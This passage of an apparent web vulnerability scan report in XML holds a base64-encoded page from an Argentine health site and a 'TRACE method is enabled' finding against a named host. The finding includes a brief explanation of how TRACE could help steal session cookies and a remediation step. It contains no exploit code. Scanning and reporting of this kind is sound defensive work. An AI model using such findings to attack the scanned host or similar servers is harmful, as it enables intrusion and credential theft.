vdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTUvMDQvMjAxMjwvc3Bhbj48YnI+T3JnYW5pemFuIGpvcm5hZGEgc29icmUgdmlvbGVuY2lhPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPlNlIGNlbnRyYXImYWFjdXRlOyBlbiBsb3MgZmVuJm9hY3V0ZTttZW5vcyBxdWUgYWZlY3RhbiBhIGxhIGZhbWlsaWEgeSBlbiBsbyBxdWUgb2N1cnJlIGVuIGxhcyBlc2N1ZWxhcy48YnIgLz4gU2UgbGxldmFyJmFhY3V0ZTsgYSBjYWJvIGVsIGx1bmVzIDIzLCBlbiBlbCBDZW50cm8gQ3VsdHVyYWwgZGUgVG9zY2hpIHkgVHJlcyANCkFycm95b3MsIHVuYSBqb3JuYWRhIGRlIHJlZmxleGkmb2FjdXRlO24geSBkZWJhdGUgYWJpZXJ0YSBhIGxhIGNvbXVuaWRhZCBzb2JyZSANCiZsZHF1bztWaW9sZW5jaWEgZW4gbGEgZmFtaWxpYSB5IGVuIGxhIGVzY3VlbGEgeSBzdSByZWxhY2kmb2FjdXRlO24gY29uIGVsIGZyYWNhc28gDQplc2NvbGFyJnJkcXVvOywgb3JnYW5pemFkYSBwb3IgbGEgQXNvY2lhY2kmb2FjdXRlO24gQ2l2aWwgQ2VudHJvIEFydCZlYWN1dGU7bWlkZXMgeSBsYSANCk11bmljaXBhbGlkYWQgZGUgQ2lwb2xsZXR0aS5TZSBjZW50cmFyJmFhY3V0ZTsgZW4gbG9zIGZlbiZvYWN1dGU7bWVub3MgcXVlIGFmZWN0YW4gYSBsYSBmYW1pbGlhIHkgZW4gbG8gcXVlIG9jdXJyZSBlbiBsYXMgZXNjdWVsYXMuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjMwLzAzLzIwMTI8L3NwYW4+PGJyPkNhcnRhIGRlIEFTQVBNSSAtIEFzb2NpYWNp824gQXJnZW50aW5hIGRlIFByZXZlbmNp824gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbDwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjE1IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSIxNSIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjgwIiBjb2xzcGFuPSI0IiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Mb3MgaW50ZWdyYW50ZXMgZGUgbGEgQ29taXNpJm9hY3V0ZTtuIERpcmVjdGl2YSBkZSBBU0FQTUkgLSBBc29jaWFjaSZvYWN1dGU7biBBcmdlbnRpbmEgZGUgUHJldmVuY2kmb2FjdXRlO24gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbCwgYXNvY2lhZGEgYSBsYSBJbnRlcm5hdGlvbmFsIFNvY2lldHkgZm9yIFByZXZlbnRpb24gb2YgQ2hpbGQgQWJ1c2UgYW5kIE5lZ2xlY3QgKElTUENBTikgLSwgdGVuZW1vcyBlbCBhZ3JhZG8gZGUgZGlyaWdpcm5vcyBhIFVzdGVkIHBhcmEgdHJhc21pdGlybGUgbnVlc3RyYSBwcm9mdW5kYSAmbmJzcDt5IGhvbmRhIHByZW9jdXBhY2kmb2FjdXRlO24gcG9yIGxhIHBvc3R1cmEgcXVlIHZpZW5lbiBhc3VtaWVuZG8gZW4gZm9ybWEgY29udGludWFkYSBhbGd1bm9zIGNvbGVnaW9zIGRlIHBzaWMmb2FjdXRlO2xvZ29zLCBlc3BlY2lhbG1lbnRlIGRlIGxhIHByb3ZpbmNpYSBkZSBCdWVub3MgQWlyZXMsIGVuIHJlbGFjaSZvYWN1dGU7biBhbCB0cmF0YW1pZW50byBwb2NvIHNlcmlvIHkgY29tcHJvbWV0aWRvIHF1ZSBzZSBsZXMgb3RvcmdhIGEgbGFzIGRlbnVuY2lhcyBlZmVjdHVhZGFzIGNvbnRyYSBwcm9mZXNpb25hbGVzIHBzaWMmb2FjdXRlO2xvZ29zLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjAvMDMvMjAxMjwvc3Bhbj48YnI+TEEgVklPTEVOQ0lBIFNFWFVBTCBDT05UUkEgTknRT1MgWSBOSdFBUyBFTiBDSUZSQVM8L3RkPgogICAgICAgICAgPC90cj4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxNSIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4MCIgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+UmFkaW9ncmFmJmlhY3V0ZTthIGRlIHVuIHByb2JsZW1hPC9wPg0KPHA+RGUgbG9zIG4mdWFjdXRlO21lcm9zIGNvbXBpbGFkb3MgcG9yIGRvcyBlcXVpcG9zIGRlbCBNaW5pc3RlcmlvIGRlIEp1c3RpY2lhLCBsYQ0KIGF1dG9yYSB0b21hIGxvcyBkZSBsYSBjaXVkYWQgZGUgQnVlbm9zIEFpcmVzIHBhcmEgdHJhemFyIHVuIHBhcmFkaWdtYSANCmRlIGxvcyBkZWxpdG9zIGNvbnRyYSBsYSBpbnRlZ3JpZGFkIHNleHVhbCBlbiBlbCBwYSZpYWN1dGU7cyB5IHNvYnJlIHN1IA0KYXRlbmNpJm9hY3V0ZTtuLjxiciAvPiA8YnIgLz4gJm5ic3A7UG9yIEV2YSBHaWJlcnRpPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2MCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjAiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjE1LzAzLzIwMTI8L3NwYW4+PGJyPkZBTExPIERFIExBIENPUlRFIFNVUFJFTUEgU09CUkUgTEEgTk8gSlVESUNJQUxJWkFDSU9OIERFTCBBQk9SVE8gRU4gQ0FTT1MgREUgVklPTEFDSU9OPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxiciAvPiBKVVJJU0RJQ0NJT046IE5BQ0lPTkFMPGJyIC8+IE1BVEVSSUE6IEFCT1JUTy48YnIgLz4gVFJJQlVOQUw6IENvcnRlIFN1cHJlbWEgZGUgSnVzdGljaWEgZGUgbGEgTmFjaSZvYWN1dGU7bi48YnIgLz4gQVVUT1M6IEYuLCBBLiBMLiBzLyBtZWRpZGEgYXV0b3NhdGlzZmFjdGl2YS48YnIgLz4gRkVDSEE6IDEzLzAzLzIwMTIuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI1OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNTkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBGSU4gbm90YSBjb211biAtLT4KPC90YWJsZT4KPG1hcCBuYW1lPSJNYXBNYXAiIGlkPSJNYXBNYXAiPjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjE0NCw0LDIxNCwzNiIgaHJlZj0iaW5kZXgucGhwP2lkPTE0IiAvPgo8L21hcD4KPG1hcCBuYW1lPSJNYXAyTWFwMiIgaWQ9Ik1hcDJNYXAyIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIxNDcsNCwyMjAsMzYiIGhyZWY9ImluZGV4LnBocD9pZD0xNGEiIC8+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcDMiIGlkPSJNYXAzIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIzNjMsMyw0MzYsMzkiIGhyZWY9ImluZGV4LnBocD9pZD0xNGIiIC8+CjwvbWFwPgo8L2h0bWw+CjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gICAgICAgICAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFM0UzRTMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNiUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9kZWNpbG9fYmllbl9mdWVydGUxLmpwZyIgd2lkdGg9IjEyMCIgaGVpZ2h0PSIxMTIiPjwvdGQ+CiAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiA+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTI0IiBjbGFzcz0iYm90b24xIj5bK10gTSZhYWN1dGU7cyBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0UzRTNFMyI+ICAgICAgICA8L3RyPgogICAgICAgIDx0cj4gCiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj4mbmJzcDs8L3RkPgogICAgICAgIDwvdHI+CiAgICA8L3RhYmxlPjwvdGQ+CiAgPC90cj4KICA8dHI+IAogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSI+PGltZyBzcmM9ImltZy9penExLmpwZyIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjExNCIgLz48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9RdWllbmVzU29tb3NfQTJfMF8yNS5qcGciIHdpZHRoPSI4MDkiIGhlaWdodD0iMTE0IiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcDIiIC8+PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI1MCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzE4XzE4LmpwZyI+Jm5ic3A7PC90ZD4KICAgIDx0ZCBoZWlnaHQ9IjUwIiBjbGFzcz0iZm9uZG9ib3R0b20iPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2l0ZWkuY29tLmFyLyI+PGltZyBzcmM9ImltZy9laV9jb2xvci5wbmciIGFsdD0iZXNwYWNpb3MgZGUgaW1hZ2luYWNpb24sIGRlc2Fycm9sbG9zIGludGVyYWN0aXZvcywgY3JlYXRpdmlkYWQsIGRpc2XxbyIgd2lkdGg9IjI3IiBoZWlnaHQ9IjE1IiBib3JkZXI9IjAiPjwvYT4gPHNwYW4gY2xhc3M9ImVpIj48YSBocmVmPSJodHRwOi8vd3d3LnNpdGVpLmNvbS5hci8iIHNwYW4gY2xhc3M9ImVpIj5kaXNlJm50aWxkZTtvICsgY29tdW5pY2FjaSZvYWN1dGU7bjwvYT48L3NwYW4+PGVtPiZuYnNwOzwvZW0+PC9zcGFuPjxzcGFuIGNsYXNzPSJibGFuY28xIj48ZW0+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9lbT48L3NwYW4+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgoKCjxtYXAgbmFtZT0iTWFwMiI+PGFyZWEgc2hhcGU9InJlY3QiIGNvb3Jkcz0iMjQ3LDY5LDQxNCw4MiIgaHJlZj0ibWFpbHRvOnNhbHVkYWN0aXZhQHNhbHVkYWN0aXZvLm9yZy5hciI+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcCI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM2LDE0MiwxNDksMTUyIiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MiI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM0LDE4NiwxNTAsMTk2IiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MCI+CjwvbWFwPgo8L2JvZHk+CjwvaHRtbD4K]]></response>
114 <responseRedirected>false</responseRedirected>
115 </requestresponse>
116 </issue>
117 <issue>
118 <serialNumber>3685188967706670080</serialNumber>
119 <type>5245440</type>
120 <name>TRACE method is enabled</name>
121 <host ip="200.20.20.201">http://www.example.org.ar</host>
122 <path><![CDATA[/]]></path>
123 <location><![CDATA[/]]></location>
124 <severity>Information</severity>
125 <confidence>Certain</confidence>
126 <issueBackground><![CDATA[The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.<br><br>Although this behavior is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.]]></issueBackground>
127 <remediationBackground><![CDATA[The TRACE method should be disabled on the web server.]]></remediationBackground>
128 <requestresponse>
